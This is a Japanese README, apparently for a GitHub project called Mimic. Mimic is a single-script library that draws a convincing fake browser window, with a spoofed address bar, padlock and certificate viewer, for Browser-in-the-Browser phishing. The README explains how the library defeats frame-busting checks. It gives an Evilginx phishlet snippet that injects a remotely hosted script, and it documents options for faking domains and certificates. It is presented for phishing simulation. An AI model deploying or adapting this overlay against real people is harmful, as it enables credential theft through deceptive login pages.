
フレームレス Browser‑in‑the‑Browser (BitB) - iframe なし、フレームバスティングの問題なし。リバースプロキシ経由で簡単に注入できる、現実的なフィッシングシミュレーションのための単一スクリプトの Shadow DOM / MutationObserver ライブラリ。
フレームレス Browser‑in‑the‑Browser (BitB) - iframe なし、フレームバスティング問題なし。単一スクリプトの Shadow DOM / MutationObserver ライブラリで、現実的なフィッシングシミュレーションを実現し、リバースプロキシ経由で簡単にインジェクションできます。
⚠️ 警告: このソフトウェアは、お住まいの地域の現行法令に従ってのみ使用してください。このソフトウェアの誤用は法的・倫理的な問題を引き起こす可能性があり、私はそれを支持せず、またその責任を負うことはできません。
MalwareMonster と私は、約7年前に FISHY という、これに沿った概念実証を開発しました。このプロジェクトは BitB ベクターを実証することに成功しましたが、使い勝手は著しく制限されていました。その後、mrd0x 氏が約2年後に彼の BITB プロジェクトで、この概念をセキュリティ研究コミュニティに広く知らしめました。しかし、iframe への過度な依存は、現代のフレームバスティング技術との互換性がないことが判明しました。フレームバスティング用 JavaScript を書き換えるための代替手法もありましたが、このアプローチは面倒で、継続的な微調整が必要でした。
その後、waelmas 氏は約2年後に frameless-bitb をリリースし、特に巧妙なメカニズムを導入しました。iframe を MutationObserver と組み合わせた Shadow DOM に置き換えることで、フィッシングコンテンツをメインドキュメント内の div に効果的に再割り当てしました。重要なのは、このコンテンツが独立したフレーム内ではなく、メイン DOM の一部であり続けたことです。フィッシングページ自体が依然としてメイン DOM であったため、フレームバスティングルーチンはそもそも起動されませんでした。これにより、技術的な核心的障害が解決され、大きな前進となり、さらなる改良のための確かな概念的基盤が提供されました。
waelmas 氏はその革新によって、事実上私たちにバトンを返したのです。彼の実装はより分散したアーキテクチャを採用しており、サービスのインストール、Apache の設定、個別の HTML・CSS・JavaScript ファイル、異なるユーザーインターフェース、そして動的なブラウザ検出を伴わない静的な OS 選択(Windows または macOS)が必要でした。これらは概念実証であることを考えれば妥当なものでしたが、私たちは中核となる Shadow DOM と MutationObserver のロジックを分離し、単一のスクリプトとして既存の Evilginx リバースプロキシに直接インジェクションできることに気付きました。これにより、iframe を使わずにあらゆる Web ページ内で現実的な偽ブラウザを描画する、軽量で依存関係のない JavaScript ライブラリを生み出すことができました。そして、waelmas 氏が最初に開拓した創造的なバイパス技術も維持しています。
Mimic は、現在の Web ページの上に現実的な偽ブラウザを作成します。アドレスバー、ウィンドウコントロール、サイト情報、証明書の詳細、Cookie とサイトデータ、テーマ、OS 固有のスタイリングを備えています。
Mimic はターゲット Web サイトを iframe 内に読み込むのではなく、実際の Web サイト DOM を取得して、偽ブラウザのビューポートに直接インジェクションします。
偽ブラウザ自体はオープンな Shadow DOM 内に存在し、サイトのスタイルから分離されます。Web サイトはライト DOM に残り、次の方法で偽ブラウザに挿入されます。
<slot name="mimic-content"></slot>
content が指定されない場合、Mimic は既存の body コンテンツを内部ラッパーに移動することで、現在のページを自動的にキャプチャします。Web サイトを偽ブラウザにインジェクションする前に、背景、テキストの色、フォント、フォントサイズ、行の高さなどの重要なスタイルを保持します。
Web サイトは別のブラウジングコンテキストに埋め込まれるのではなく、偽ブラウザ内に移動されるため、実際のトップレベルページのままです。
つまり、従来の iframe ベースのフレームバスティングチェック、例えば
if (top !== self) {
top.location = self.location;
}
は、次の理由によりトリガーされません。
top === self
Web サイトは、依然としてトップレベルページとして実行されていると認識します。ページが偽ブラウザ内に視覚的に格納されている間も、既存の JavaScript、イベント、ストレージ、ナビゲーション、アプリケーションロジックは正常に動作し続けます。
Mimic はまた、インジェクションされた Web サイトを偽ブラウザのビューポートに合わせて自動的にスケーリングします。スクロールはコンテンツレイヤーを移動させることで処理され、リサイズリスナーと MutationObserver は、Web サイトの読み込み時や変更時にコンテンツを再測定します。
実際のブラウザタブも、documentTitle と documentFavicon を使用して制御できます。Mimic は両方の値を監視し、Web サイトがそれらを変更しようとした場合に復元します。
Mimic は視覚的なカプセル化であり、JavaScript サンドボックスではありません。 インジェクションされた Web サイトは、実際の
window、document、ストレージ、履歴、ナビゲーション API へのアクセスを保持します。
Mimic をインジェクションするには、これを phishlet YAML に追加します。
script: |
// Inject the BitB script
(function () {
window.addEventListener('load', () => {
var s = document.createElement('script');
s.src = 'https://0x4meliorate.github.io/Mimic/mimic.js';
s.onload = function () {
openBrowserWindow({ debug: false });
};
document.body.appendChild(s);
});
})();
設定は mimic.js の CONFIG で直接変更するか、関数 (openBrowserWindow) を呼び出すときに引数として渡すことができます。
openBrowserWindow({
// Displayed URL
domain: 'example.com',
addressText: '/login',
scheme: 'https://',
// Fake browser
pageTitle: 'Example - Sign in',
favicon: 'https://example.com/favicon.ico',
// Real browser tab
documentTitle: 'Example App',
documentFavicon: 'https://example.com/app.ico',
// Content
// HTMLElement, CSS selector, HTML string, or function
// Leave empty to capture the current website automatically
content: '',
contentWidth: 0,
// Fake browser size
windowWidth: 'min(800px, 95vw)',
windowHeight: 'min(650px, 90vh)',
// Browser-style links
learnMoreUrl: 'https://example.com/security',
siteSettingsUrl: 'https://example.com/settings',
// Cookie summary
cookies: {
sitesAllowed: '5 sites allowed'
},
// Behaviour
autoOpen: false,
os: null, // null (auto) | 'mac' | 'windows' | 'linux'
theme: 'auto', // 'auto' | 'light' | 'dark'
debug: false,
onClose: null,
// Landing page
landing: true, // true | false | custom HTML string
enterSelector: '#landingpage-enter-btn',
// On-device site data
siteData: {
intro: 'Sites may save activity to your device.',
manageLinkText: 'Manage site data',
manageUrl: '',
sections: [
{
title: "Data from the site that you're visiting",
description: 'Information stored by this site.',
sites: [
{ name: 'example.com' },
{
name: 'cdn.example.com',
subtitle: 'Additional site information'
}
]
}
]
},
// Certificate viewer
certificate: {
subject: {
commonName: 'example.com',
organisation: 'Example Corporation',
organisationalUnit: '<Not part of certificate>'
},
issuer: {
commonName: 'Example TLS CA',
organisation: 'Example Certificate Authority',
organisationalUnit: '<Not part of certificate>'
},
validity: {
issuedOn: '10 August 2026',
expiresOn: '18 November 2026'
},
fingerprints: {
certificate: '...',
publicKey: '...'
},
hierarchy: {
name: 'Example Root CA',
children: [
{
name: 'Example Intermediate CA'
}
]
},
fields: {
name: 'example.com',
children: [
{
name: 'Certificate',
children: [
{ name: 'Version', value: 'V3' },
{ name: 'Serial Number', value: '...' },
{ name: 'Subject', value: 'CN = example.com' }
]
}
]
}
}
});
現在の Web サイトをキャプチャしてインジェクションする:
openBrowserWindow();
ランディングページなしで開く:
openBrowserWindow({
landing: false
});
偽ブラウザのウィンドウを自動的に開く:
openBrowserWindow({
autoOpen: true
});
デバッグを有効にする (OS とテーマの切り替え):
openBrowserWindow({
debug: true
});
外観を手動で上書きする:
openBrowserWindow({
os: 'windows',
theme: 'dark'
});
偽ブラウザのウィンドウコンテンツを設定する (偽ブラウザにインジェクションする要素、セレクタ、HTML 文字列、または関数):
openBrowserWindow({
content: '#page-content'
});
| Option | Description |
|---|
domain | 偽アドレスバーに表示されるドメイン |
addressText | ドメインの後に表示されるパスとクエリ |
scheme | 表示される URL スキーム |
pageTitle | 偽ブラウザのウィンドウタイトル |
favicon | 偽ブラウザのファビコン |
documentTitle | 実際のブラウザタブのタイトル |
documentFavicon | 実際のブラウザタブのファビコン |
content | 偽ブラウザにインジェクションする要素、セレクタ、HTML 文字列、または関数 |
contentWidth | インジェクションされた Web サイトをスケーリングする際の基準幅 |
windowWidth | 偽ブラウザの幅 |
windowHeight | 偽ブラウザの高さ |
learnMoreUrl | セキュリティの「Learn More」リンクの遷移先 |
siteSettingsUrl | 「Site Settings」の遷移先 |
cookies | Cookie サマリーの設定 |
autoOpen | ランディングページ作成時に偽ブラウザを自動的に開く |
os | null、mac、windows、linux。null は自動検出を使用 |
theme | auto、light、dark |
debug | OS とテーマの切替スイッチャーを表示 |
onClose | 偽ブラウザが閉じたときに呼び出される関数 |
landing | ランディングページを有効化、無効化、または置き換える |
enterSelector | 偽ブラウザを開くランディング要素のセレクタ |
siteData | デバイス上のサイトデータダイアログを設定 |
certificate | 証明書ビューアを設定 |